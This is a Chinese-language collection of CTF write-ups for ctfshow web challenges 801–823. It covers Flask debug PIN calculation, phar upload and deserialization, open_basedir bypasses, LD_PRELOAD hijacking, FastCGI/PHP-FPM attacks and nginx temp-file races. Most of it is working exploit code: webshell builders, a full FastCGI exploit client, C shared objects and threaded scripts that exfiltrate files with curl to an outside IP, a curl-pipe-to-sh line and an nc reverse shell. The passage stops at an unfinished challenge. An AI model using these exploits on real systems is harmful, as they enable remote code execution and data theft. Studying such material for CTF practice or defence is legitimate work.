ctfshow 常用姿势

web 801 (flask算PIN)

条件

flask debug模式开启 存在任意文件读取

环境

python3.8
ctfshow web801
flask

知识基础


(machine_id是docker环境下读b,c;非docker环境全读,之后直接拼接,不加修饰符)

题解

非预期

/file?filename=/flag

预期解结算PIN值
先找到文件得到脚本所需信息


这里需要将16进制转换为十进制 地址

得到2485377601940
之后求machine-id


由于题目是docker环境,仅需要得到这两个信息即可
最后拼接得到

b0253079-fb4b-4235-ad30-f3d64b6c596701797e8e7f960d088139f8b839560871626857bfc73852e5f2b5e7f930459077

利用脚本得到PIN值

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import hashlib
from itertools import chain
probably_public_bits = [
    'root'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '2485377892354',# /sys/class/net/eth0/address   
    'b0253079-fb4b-4235-ad30-f3d64b6c596701797e8e7f960d088139f8b839560871626857bfc73852e5f2b5e7f930459077'#  /proc/self/cgroup   and  /proc/sys/kernel/random/boot_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

进入

进入之后利用os进行命令执行皆可

web802 (无字母数字构造)

利用yu师傅脚本即可
yu师傅脚本博客

web803 (zip上传phar包含)

本题题目

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file.'.txt')){
        include $file.'.txt';
    }else{
        file_put_contents($file,$content);
    }
}

本题通过构建phar包进行文件上传

<?php
$phar = new Phar('a.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','<?php eval(\$_POST[a]);?>');
$phar -> stopBuffering();

?>

利用上述脚本构建phar文件
之后进行文件上传
这里有两种解法
一种是利用bp进行文件上传
(由于不知道什么原因,我利用bp一直无法上传成功,就利用python上传)
于是用第二种->脚本

import requests  
url="http://04608b57-c254-475c-ae94-804018955038.challenge.ctf.show/"
data1={'file':'/tmp/a.phar','content':open('a.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar/test','content':'123','a':'system("cat f*");'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)

得到flag

web 804(phar反序列化)

phar反序列化

从中可以看出phar中包含metdata便可触发序列化

通过大佬的讲解 得到下面结论

可以利用使其反序列化的一些函数


于是解决本题可以利用

<?php 
class hacker{
    public $code;
    public function __destruct(){
        eval($this->code);
    }
}
$a=new hacker();
$a->code="system('cat f*');";
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>

得到phar文件
之后上传phar文件并将其利用phar伪协议进行打开触发反序列化即可

import requests  
url=""
data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar','content':'123'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)

也可利用bp 但是由于自身原因导致bp文件无法正常传输

web805(open_basedir绕过)

open_basedir 的作用就是指定目录位置了,意思是将PHP
所能打开的文件限制在指定的目录树,包括文件本身了,并且不受是不是安全模式的影响.

Bypass

方式1—DirectoryIterator+glob://
DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件

<?php
$c = "glob:///*"
$a = new DirectoryIterator($c);
foreach($a as $f){
    echo($f->__toString().'<br>');
}
?>


方式2——opendir()+readdir()+glob://
opendir()函数为打开目录句柄,readdir()函数为从目录句柄中读取条目

<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
        echo $file."<br>";
    }
    closedir($b);
}
?>

只能Bypass open_basedir来列举根目录中的文件,不能列举出其他非根目录和open_basedir指定的目录中的文件。
利用p神脚本

<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
    mkdir($paths[$i]);
    chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { 
    chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { 
    mkdir($name);
    chdir($name);
    $j++;
}
for ($i = 0; $i <= $j; $i++) { 
    chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

function delfile($deldir){
    if (@is_file($deldir)) {
        @chmod($deldir,0777);
        return @unlink($deldir);
    }else if(@is_dir($deldir)){
        if(($mydir = @opendir($deldir)) == NULL) return false;
        while(false !== ($file = @readdir($mydir)))
        {
            $name = File_Str($deldir.'/'.$file);
            if(($file!='.') && ($file!='..')){delfile($name);}
        } 
        @closedir($mydir);
        @chmod($deldir,0777);
        return @rmdir($deldir) ? true : false;
    }
}

function File_Str($string)
{
    return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randStr = '';
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $randStr;
}

需要利用文件包含

也可以利用利用chdir()与ini_set()组合Bypass

?php
// 获取当前目录
echo getcwd() . "<br>";

// 改变目录
chdir("images");

// 获得当前目录
echo getcwd();
?>
结果:

/home/php
/home/php/images

payload

mkdir("s");
chdir('s');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents("/ctfshowflag");

chdir()与ini_set()组合详解
open_basedir绕过

web806(无参rce)

利用session_id

php中有一个函数叫session_id(),可以直接获取到cookie中的phpsessionid值,phpsessionid的组成符号有限定,不能使用 ’ () ',所以我们需要将我们要执行的命令转换成16进制,然后再通过hex2bin函数转换回去

<?php
echo bin2hex('phpinfo();');  //706870696e666f28293b

但是呢,session_id的使用需要开启session,所以需要session_start()函数
hex2bin(session_id(session_start()))
但是呢,仅仅一个eval执行上面代码只会把十六进制转换成字符串’phpinfo();’,所以我们还需要一个eval
最终

由于806的php版本为7 则无法利用这个姿势

getallheaders()

利用var_dump(getallheaders());获取位置信息

之后通过修改相应位置的信息进行命令执行
这两个命令执行效果相同

eval(current(getallheaders()));
eval(end(array_reverse(getallheaders())));


大佬博客

get_defined_vars()

get_defined_vars():返回由所有已定义变量所组成的数组
该命令 上面博客已写
也可利用群主师傅的命令随机碰撞

show_source(array_rand(array_flip(scandir(array_rand(array_flip(str_split(set_include_path(dirname(dirname(dirname(getcwd())))))))))));

web807(shell反弹)

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];

$schema = substr($url,0,8);

if($schema==="https://"){
    shell_exec("curl $url");
}

可以直接进行shell反弹也可以利用群主的网站进行反弹

curl https://your-shell.com/ip port |sh

curl命令
linux下反弹shell的方法

web808(卡临时文件包含)

利用条件

php版本 7.0,有完整的包含点,并且参数可控,/tmp目录可写
还需要得到上传的文件名

原理

php在上传文件时候会先保存在临时目录,在php脚本运行完后自动删除

其实就是让程序崩溃的同时上传文件,那么文件就会留在/tmp目录下。但是这种方法要知道文件名,要不然爆破起来也是挺麻烦的。
如果过滤了filter伪协议也可以包含自身来崩溃。

解题过程

先创建一个上传表单

<html>
    <body>

        <form action="http://2af23aac-f3d7-45fa-a482-e46c74ea93ad.challenge.ctf.show/" method="post" enctype="multipart/form-data">
            <label for="file">Filename:</label>
            <input type="file" name="file" id="file" />
            <br />
            <input type="submit" name="submit" value="Submit" />
        </form>
    </body>
</html>

记得修改域名
之后对其抓包并发送payload

php://filter/string.strip_tags/resource=/etc/passwd

得到

之后返回原题刷新后会发现临时文件已经保存

之后访问并利用即可得到flag

web809(pear文件包含/RCE)

前提条件

解题过程

大佬博客
从中可以得到paylaod

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

在这我们稍作修改

?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[1]);?>+/tmp/xin.php
或
?file=/usr/local/lib/php/pearcmd.php&aaa+install+-R+/var/www/html/+http://IP/shell.php

传入即可(利用bp进行传入)

第二个成功需要在自己的vps上写文件


之后访问

第三个姿势

web810

条件

Libcurl版本:高于7.45.0
PHP-FPM:监听端口,版本高于5.3.3
知道目标机器上任意一个php文件绝对路径

过程

php-fpm
工具下载地址https://github.com/tarunkant/Gopherus
打fastcgi用法:
python gopherus.py --exploit fastcgi

最后将生成的payload下划线后面的url编码,也即gopher://127.0.0.1:9000/_后面的全部url编码
SSRF漏洞之FastCGI利用篇
p神讲解

web811(FTP的被动模式打FPM漏洞代码)

本题考察FTP的被动模式打FPM漏洞代码
FTP的被动模式打FPM漏洞代码
上面文章是反弹shell了,但是我没有成功(泪奔)
于是我利用curl进行命令执行
首先利用vps搭建恶意的ftp服务器

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',4566)) #端口可改
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

之后利用gopherus生成payload

vps监听4438端口
payload

?file=ftp://x.x.x.x:4566&content=gopherus生成的payload(只取下划线后面的内容,且不需要再次编码)


得到flag

web812(PHP-FPM未授权)

利用p神的脚本,详解在810中p神博客中有介绍原理

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=28163, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

命令为:

python2 fpm.py -c '<?php system("cat /f*");?>' -p 28046 pwn.challenge.ctf.show /usr/local/lib/php/System.php

运行得到flag
报500了,我没成功(泪目)

web813(劫持mysqli)

前提条件


大佬博客
yu师傅博客
恶意so文件弄出来了,但是却没有成功反弹shell

web814(劫持getuid)

条件

原理

LD_PRELOAD学习


过程

利用脚本

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
        system("curl http://url:port?s=`cat /*`");
}
int getuid()
{
        if(getenv("LD_PRELOAD")==NULL){ return 0;}
        unsetenv("LD_PRELOAD");
        payload();
}

之后进行编译成so文件
gcc -c -fPIC xin.c -o xin&&gcc --share xin -o xin.so
之后将文件上传到临时目录下,将LD_PRELOAD的路径通过putenv重定向为tmp目录下创建进程执行getuid函数即可

import requests
url=""
data={'file':'/tmp/hack.so','content':open('hack.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/hack.so')

web815(劫持构造器)

本题由于存在mail函数因此可以利用第二种方法进行getshell
另一种方法:
如果利用第二种方法,则

下面的一个比较通用:

在GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor)) 修饰的函数。

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;

__attribute__ ((__constructor__)) void hack(void)
{
unsetenv("LD_PRELOAD");
system("curl http://xxx:4567?s=`cat /*`");
}

gcc -c -fPIC xin.c -o xin&&gcc --share xin -o xin.so
得到so文件上传拿到shell

web816(临时文件利用)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-26 14:19:44
# @Last Modified by:   h1xa
# @Last Modified time: 2022-04-27 08:34:06
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);

$env = $_GET['env'];
if(isset($env)){
    putenv($env.scandir("/tmp")[2]);
    system("echo ctfshow");
}else{
    highlight_file(__FILE__);
}

拿到题目后知道应该上传恶意so文件来进行getshell,按时看到题目没有上传点一时无法下手
看大佬博客后发现
我们将恶意so文件上传上去,会作为临时文件保存到/tmp/目录下
然后有$env.scandir(“/tmp”)[2]得到临时文件路径,从而达到利用LD_PRELOAD的环境变量来RCE
注意:一般临时文件上传上去,不好拿到文件名于是利用scandir(“/tmp”)[2]得到文件名
上传815产生的so文件,利用脚本

import requests
url="url/?env=LD_PRELOAD=/tmp/"
files={'file':open('hack.so','rb').read()}
response=requests.post(url,files=files)
response=requests.post(url,files=files)
html = response.text
print(html)

web817(利用nginx的body/fastcgi缓存机制)

题目

$file = $_GET['file'];
if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){
	shell_exec(shell_exec("cat $file"));

}

考点
让后端 php 请求一个过大的文件
当body过大时,导致 Nginx 需要产生临时文件进行缓存
虽然Nginx 删除了/var/lib/nginx/fastcgi下的临时文件,但是在 /proc/pid/fd/ 下我们可以找到被删除的文件
遍历 pid 以及 fd ,使用多重链接绕过 PHP 包含策略完成 LFI
包含/proc/pid/fd/条件

preg_match("/^\/(\w+\/?)+$/"

大概意思就是以/开头,并且后面只能有数字字母和/
大佬博客
利用师傅脚本

import  threading, requests
import socket
import re
port= 28053
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1

	'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)

con="curl http://101.34.94.44:4567?`cat /f*`;"+'0'*1024*500
l = len(con)
def upload():
	while True:
		s=socket.socket()
		s.connect(('pwn.challenge.ctf.show',port))
		x=f'''POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: {l}
Content-Type: application/x-www-form-urlencoded
Connection: close

{con}

		'''.encode()
		s.send(x)
		s.close()

def bruter():
	while True:
		for fd in range(3,40):
			print(fd)
			s=socket.socket()
			s.connect(('pwn.challenge.ctf.show',port))
			s.send(f'''GET /?file=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
Connection: close

'''.encode())
			print(s.recv(2048).decode())
			s.close()


for i in range(30):
    t = threading.Thread(target=upload)
    t.start()
for j in range(30):
    a = threading.Thread(target=bruter)
    a.start()





web818(利用nginx的body缓存机制)

$env = $_GET['env'];
if(isset($env)){
	putenv($env);
	system("echo ctfshow");
}else{
	system("ps aux");
}

原理和817相似
利用nginx的body缓存机制
上传一个so文件(so文件可以看下815、814)

# coding: utf-8

import urllib.parse
import  threading, requests
import socket
import re
port= 28133
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1

	'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)
l=str(len(open('hack.so','rb').read()+b'\n'*1024*200)).encode()
def upload():
	while True:
		s=socket.socket()
		s.connect(('pwn.challenge.ctf.show',port))	
		x=b'''POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Content-Length: '''+l+b'''
Content-Type: application/x-www-form-urlencoded
Connection: close

'''+open('hack.so','rb').read()+b'\n'*1024*200+b'''

'''
		s.send(x)
		s.close()

def bruter():
	while True:
		for fd in range(3,40):
			print(fd)
			s=socket.socket()
			s.connect(('pwn.challenge.ctf.show',port))
			s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Connection: close

'''.encode())
			print(s.recv(2048).decode())
			s.close()


for i in range(30):
    t = threading.Thread(target=upload)
    t.start()
for j in range(30):
    a = threading.Thread(target=bruter)
    a.start()



web819(利用bash的匿名函数环境变量)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-04-28 16:55:29
# @Last Modified by:   h1xa
# @Last Modified time: 2022-04-29 19:51:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$env = $_GET['env'];
if(isset($env)){
    putenv($env);
    system("whoami");
}else{
    highlight_file(__FILE__);
}

得到题目发现与818题目差不多,一个时pwn形式,一个http形式
当利用http形式时我们无法利用nginx的body缓存机制,原因时没办法让他听起来

于是这里就可以利用bash的匿名函数环境变量

为了修复破壳漏洞
官方规定

同时我们了解到

system()会调用fork()产生子进程,由子进程来调用/bin/sh-c string来执行参数string字符串所代表的命令
system()会继承环境变量,通过环境变量可能会造成系统安全的问题
于是我们可以构造环境变量构造whoami函数,利用system来进行移花接木

这样利用要有前提,即sh -c所代表的要为bash命令

于是构造命令

?env=BASH_FUNC_whoami%%=() { nl /flag;}

总结:

web820(base64图片码)

base64的小介绍

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-04-30 10:52:40
# @Last Modified by:   h1xa
# @Last Modified time: 2022-04-30 16:59:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);

if(strlen($_FILES['file']['tmp_name'])>0){
    $filetype = $_FILES['file']['type'];
    $tmpname = $_FILES['file']['tmp_name'];
    $ef = getimagesize($tmpname);

    if( ($filetype=="image/jpeg") && ($ef!=false) && ($ef['mime']=='image/jpeg')){
        $content = base64_decode(file_get_contents($tmpname));
        file_put_contents("shell.php", $content);
        echo "file upload success!";
    }
}else{
    highlight_file(__FILE__);
}

根据源码我们发现他会获得一些图片信息并比对,之后对图片进行base64解码,并将解码后获得的内容放入shell.php中
利用百度师傅构造的图片成功getshell

web821(7字符RCE)

7字符rce
原理如博客一样
利用脚本

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-06 13:25:41
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-10 20:55:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = ""

payload=[
">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"
]

def writeFile(payload):
	data={
	"cmd":payload
	}
	requests.post(url,data=data)

def run():
	for p in payload:
		writeFile(p.strip())
		print("[*] create "+p.strip())
		time.sleep(1)

def check():
	response = requests.get(url+"1.php")
	if response.status_code == requests.codes.ok:
		print("[*] Attack success!!!Webshell is "+url+"1.php")

def main():
	run()
	check()

	


if __name__ == '__main__':
	main()

利用脚本可以插入木马文件
这里需要用get进行蚁剑连接

http://a5efc927-2331-4a26-9c31-248e9b58a782.challenge.ctf.show/1.php?1=eval($_POST[1]);

进行套娃连接蚁剑
之后利用蚁剑连接数据库

之后添加数据库mysqli,账号密码位root
之后得到flag

web822(7字符不可写)

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

#flag in database;
error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];

if(strlen($cmd) <= 7){
    shell_exec($cmd);
}

本题目在web目录不可写
于是需要另一种方法
写到临时目录并执行它
(.表示执行一个sh脚本,使本身没有执行权限的脚本通过点可以执行,如果没要会报错)
payload

import requests

url = "http://9fabb83a-ac44-40d5-a91f-06d5f3339269.challenge.ctf.show/"
file={'file':b"nc vps port -e /bin/sh"}
data={'cmd':'. /t*/*'}
test = requests.post(url=url,data=data,files=file)

web823(5字符可写,有dir)

<?php

